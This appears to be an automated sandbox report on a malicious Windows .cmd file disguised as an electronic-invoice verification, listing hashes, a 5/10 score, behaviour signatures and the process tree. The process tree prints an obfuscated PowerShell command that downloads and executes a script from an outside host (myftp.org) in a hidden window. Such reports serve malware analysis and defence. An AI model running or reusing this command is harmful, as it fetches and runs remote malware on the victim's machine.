Analysis

  • max time kernel
    43s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 03:36

General

  • Target

    do-master/Verificacfdi.facturaelectronica.emision.cmd

  • Size

    412B

  • MD5

    fc68a566b6eec162cedf8d4ec6d7e00e

  • SHA1

    7fc6706af1d7a63262f99734922228656a6fa300

  • SHA256

    99670c0c832be53b90e0c52cdb385a926346e36642b876296f0be9f01b81decc

  • SHA512

    4276ad4a487034a6d32985958fc0380e585c99b248dbd8ae0852e3af5b71d820f1e129bf0e0342e801b29cc0aae3ce37352086de22a93e763c659da450979489

Score
5/10

Malware Config

Signatures

  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\do-master\Verificacfdi.facturaelectronica.emision.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1012
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo ieX("Ie`X`(N`ew-oBJ`e`Ct N`et.`Web`ClIeNt`).DOwnlOa`d`StRIN`G('http://tma8sjw.myftp.org/mx/a9Y0P6X9y9f1d5uayNa/kk/a9Y0P6X9y9f1d5uayNa')"); "
      2⤵
        PID:1748
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        WindowsPowerShell\v1.0\powershell.exe -nop -win 1 -
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1928

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

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    Downloads

    • memory/1748-54-0x0000000000000000-mapping.dmp
    • memory/1928-55-0x0000000000000000-mapping.dmp
    • memory/1928-56-0x000007FEFC4D1000-0x000007FEFC4D3000-memory.dmp
      Filesize

      8KB

    • memory/1928-57-0x000007FEF3F40000-0x000007FEF4A9D000-memory.dmp
      Filesize

      11.4MB

    • memory/1928-58-0x00000000027D4000-0x00000000027D7000-memory.dmp
      Filesize

      12KB

    • memory/1928-59-0x000000001B800000-0x000000001BAFF000-memory.dmp
      Filesize

      3.0MB

    • memory/1928-60-0x00000000027DB000-0x00000000027FA000-memory.dmp
      Filesize

      124KB